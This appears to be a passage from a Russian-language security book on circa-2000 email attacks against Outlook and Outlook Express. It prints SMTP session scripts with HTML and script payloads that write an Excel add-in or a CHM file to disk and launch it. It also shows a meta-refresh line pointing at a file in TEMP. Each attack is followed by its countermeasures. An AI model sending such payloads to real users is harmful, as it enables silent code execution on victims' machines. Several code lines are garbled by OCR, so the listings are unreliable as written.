Запись вложений на диск без участия пользователя

До сих пор речь шла о различных механизмах запуска файлов, которые можно обманным путем поместить на удаленный диск пользователя. Описанные выше виды взлома были рассчитаны на определенные исполняемые файлы (расположенные либо на удаленном сервере, либо на диске пользователя), выполняющие свою грязную работу. А что, если взломщик имеет возможность записывать на диск выбранной жертвы свои файлы? Пользуясь этим, можно разработать завершенный способ доставки в систему пользователя и запуска в ней файлов, реализующих взлом.

Перехват функции Save As программ Excel и PowerPoint


Фокус, лежащий в основе этого взлома, был придуман Георгием Гунински, который остроумно воспользовался функцией SaveAs программ Excel и PowerPoint. Как только документ Office с помощью дескриптора OBJECT вызывается в программе Internet Explorer (об этом уже упоминалось выше), появляется возможность сохранить данные в произвольном месте диска. В своей реализации этой идеи Георгий сохраняет данные, извлеченные из файла Bookl.xi.r-. Он является обычным файлом в формате Excel с расширением .xla. Если такой файл поместить в папку Startup, то во время загрузки системы он будет запущен.
В следующем примере приведен слегка измененный код Георгия, помешенный в уже знакомую капсулу для взлома электронной почты.

helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: Check this out!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
<HTML>
<h2>Enticing message here!</h2>
id="shl" width=0
height=0>
</object>
<SCRIPT>
function f()
{
fn=" D:\\test\\georgi-xla.hta";
shl.object.SaveAs(fn,6);
alert(fn+" successfully written"};
}
setTimeout{"f()",5000);
</SCRIPT>
</HTML>
quit

Написанный Георгием код расположен между дескрипторами <object> и </SCRlPT>. Изменения внесены таким образом, чтобы указать полный адрес URL файла Bookl.xla (в первоначальной реализации этот файл был доступен непосредственно на Web-сервере). Содержимое Bookl.xla записывается в файл, указанный в строке fn=. Из исходного кода Георгия удалены также строки комментариев, в которых указано, как сохранить этот файл (предполагается, что об этом нетрудно догадаться). Просмотр этого сообщения в программе Outlook Express системы NT4 с зоной, для которой задан уровень безопасности Low, приведет к неожиданному появлению на короткое время окна передачи файла, вслед за которым появится следующее сообщение.


Здесь авторы в качестве материала воспользовались уже готовым файлом Георгия Bookl.xla. Этот файл абсолютно безобиден. В нем содержится код длиной в пару строк, который при запуске выводит в окне DOS сообщение Hello World. Однако ввиду увеличения числа серверов, предоставляющих услуги по анонимному хранению файлов, хакеру-злоумышленнику будет совсем несложно создать свой собственный документ Office и обеспечить его загрузку. Готовой базой для размещения таких файлов также могут быть плохо настроенные или взломанные серверы FTP.

Меры предосторожности против записи файлов с помощью программ Excel и PowerPoint


Стоит ли повторять еще раз? Воспользуйтесь соответствующими модулями обновления, которые можно найти на Web-узле по адресу http://www.microsoft.com/ technet/security/bulletin/MS00-049. asp. Установка этих модулей обновления приведет к тому, что документы Excel и PowerPoint будут помечены как "unsafe for scripting" (пожалуйста, не торопитесь смеяться). Конечно, можно совсем запретить использование элементов управления ActiveX, как описано в разделе, посвященном зонам безопасности, тем самым раз и навсегда закупорив эту злосчастную брешь.

Вложения с принудительной загрузкой


Для описанного на Web-узле http://4-ww.malware.com способа загрузки файла на диск пользователя без его разрешения на этом же узле было предложено название принудительная загрузка (force feeding). Сущность данного подхода состоит в том, что, как утверждают специалисты, Outlook/OE игнорирует ответ пользователя на вопрос о том, что делать с файлом вложения электронного сообщения. Обычно, когда присоединенный файл запускается из почтовой программы, пользователю предоставляется три варианта действий: Open, Save To Disk или Cancel. Согласно утверждению, приведенному на узле malware.com, независимо от выбора пользователя вложение будет записано в каталог Windows %temp% (С: \Windows\temp — в Win 9x и С: \temp — в NT). Временные каталоги в Win 2000 настраиваются по усмотрению пользователя, поэтому, если эта система устанавливалась "с нуля", а не поверх предыдущих версий, определить их местоположение сложнее. Поместив требуемые файлы в систему пользователя, их можно запустить с помощью специального дескриптора HTTP. При этом броузеру скрытно и автоматически будет передана страница, указанная в дескрипторе. Например,

<МЕТА HTTP-EQUIV="refresh"
content="2;URL=http://www.othersite.com">

Этот код, помещенный на Web-страницу, перенаправит броузер на Web-узел www.othersite.com. Параметр context= задает интервал ожидания, по истечении которого броузером будет выполнен заданный переход. Для принудительной загрузки операторы узла malware.com выбрали один из их локальных файлов и поместили его адрес в дескриптор.
<meta http-equiv="refresh" content="5; 
url=mhtml:file://С:\WINDOWS\TEMP\lunar.mhtml">
В файле lunar.mhtml, который был вложен в сообщение и загружен без согласия пользователя, содержится ссылка на элемент управления ActiveX, помеченный флагом "safe for scripting", который запускает второй присоединенный файл. Он представляет собой исполняемый файл с именем mars . exe. В обход, но достаточно эффективно.
Во время возникшей в бюллетене Bugtraq  дискуссии по поводу этой находки по крайней мере два авторитетных специалиста по вопросам'безопасности высказались против того, что описанный подход будет работать именно так, как предполагается. Тестирование, предпринятое авторами данной книги, проходило с переменным успехом. Даже при условии, что для соответствующих зон IE (см. предыдущие разделы), используемых также для чтения почтовых сообщений в программах Outlook/OE, был установлен уровень безопасности Low, положительного эффекта удавалось добиться не всегда. Успешная принудительная загрузка вложений происходила во временный каталог систем Win 98 SE и NT4 Workstation, в которых для зон был установлен уровень безопасности Low, но это происходило не всегда. Тайна принудительной загрузки по рецепту malware.com пока остается неразгаданной.
Это обстоятельство слегка утешает. Пугает сама мысль о тех неприятностях, к которым мог бы привести такой подход в случае его применения совместно с методом Георгия Гунински, позволяющим запускать документы MS Office. Взломщики смогли бы посылать документы Office, содержащие в виде вложений злонамеренный код. Затем они могли бы послать второе сообщение, заключающее в своем теле соответствующие дескрипторы, которые указывали бы на каталог %temp%, где уже находилось бы принудительно загруженное вложение. (По существу, Георгий добивался того же результата, но с использованием одного сообщения. См. описание следующей атаки.)
Конечно же, как уже упоминалось, доступность служб, предоставляющих возможность бесплатного и анонимного хранения файлов в Internet, избавляет от необходимости зафузки кода на локальный диск. Указав в своих сообщениях адрес одного из таких хранилищ, хакер сразу же обеспечивает доступность второго компонента. При этом самого взломщика выследить практически невозможно.

Запись вложения в каталог TEMP с помощью дескриптора I FRAME


Данный метод, который в 2000 году был опубликован Георгием в девятом номере его информационного бюллетеня , продемонстрировал дальновидность его автора, которому удалось умело воспользоваться, казалось бы, незначительными проблемами. Предложенный подход основан на том, что программы Outlook и Outlook Express создают в каталоге TEMP файлы с известным именем и произвольным содержимым, что очень похоже на механизм, созданный на узле malware.com. Однако, использовав другие свои разработки, в число которых входит использование изъяна, позволяющего запускать ярлыки файлов справочной системы Windows , и дескрипторы IFRAME, Георгий разработал, по-видимому, непревзойденный непротиворечивый механизм доставки кода и его последующего запуска. Поэтому авторы присвоили этому методу степень риска, равную восьми, т.е. наивысшую среди рассматриваемых. Он гораздо ближе других алгоритмов подошел к тому, чтобы стать целостным пакетом, предоставляя возможность записи файла на диск и запуска этого файла без необходимости какого-либо вмешательства пользователя.
Фокус состоит в использовании в теле почтового сообщения дескриптора I FRAME, в котором содержится ссылка на вложение этого же сообщения. По какой-то причине, возможно, известной лишь Георгию, когда i FRAME "прикасается" к вложенному файлу, он сохраняется на диске. Затем этот файл легко вызвать из сценария, помешенного в тело этого же сообщения. В своей реализации Георгий записывает файл .СНМ, который элегантно сконфигурирован для запуска редактора Wordpad.exe с помощью команды "shortcut".
Ниже представлена капсула, демонстрирующая применение описанного подхода. Обратите внимание на то, что файл СНМ должен быть упакован с помощью утилиты mpack (см. раздел "Сто и один способ взлома электронной почты").

helo somedoir.ain.com
mail from: <mallory@attacker.net>
rcpt to: <hapless@victim.net>
data
subject: This one takes the cake!
Importance: high
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="_boundaryl_"
--_boundaryl_--
Content-Type: multipart/alternative,
boundsry="_boundary2_"
--_boundary2_--
Content-Type: text/html; charset=us-ascii
<IFRAME align=3Dbaseline alt=3D"" =
border=3DO hspace=3DO=20
src=3D"cid:5551212"></IFRAME>
<SCRIPT>
setTimeout('window.showHelp
("c:/windows/temp/abcde.chm");',1000);
setTimeout('window.showHelp
("c:/temp/abcde.chm");',1000};
setTimeout('window.showHelp
("C:/docume-l/admini~l/locals~l/temp/abcde.
chm"} ;
',1000} ; </SCRIPT>
--_boundary2 --
--_boundaryl_--
Content-Type: application/binary;
name="abcde.chm"
Content-ID: <5551212>
Content-Transfer-Encoding: base64
[Закодируйте файл abode.chm с
помощью утилиты mpack и вставьте его здесь]
—_boundaryl_—
quit

В процессе тестирования, выполненного авторами на программах Outlook и Outlook Express, установленных в системах Windows 9x, NT и 2000, этот метод работал безотказно, чаще всего в режиме предварительного просмотра. Строки, которые начинаются с setTimeout, задают каталог каждой из трех операционных систем. Сможете ли вы установить между ними соответствие?
Одним из ключевых элементов приведенного листинга является поле Content-ID. В нашем примере в этом поле введено число 5551212. Параметр scr дескриптора IFRAME, который содержится в теле сообщения, ссылается на идентификатор вложения этого сообщения, имеющего формат MIME. При этом возникает остроумно задуманная циклическая ссылка, позволяющая записать вложение на диск и обратиться к нему из одного и того же почтового сообщения.

Контрмеры против использования дескрипторах FRAME


Единственной защитой против атак такого рода является осторожное обращение с элементами управления ActiveX, как упоминалось в разделе, посвященном зонам безопасности. О выпуске соответствующего модуля обновления компания Microsoft не позаботилась.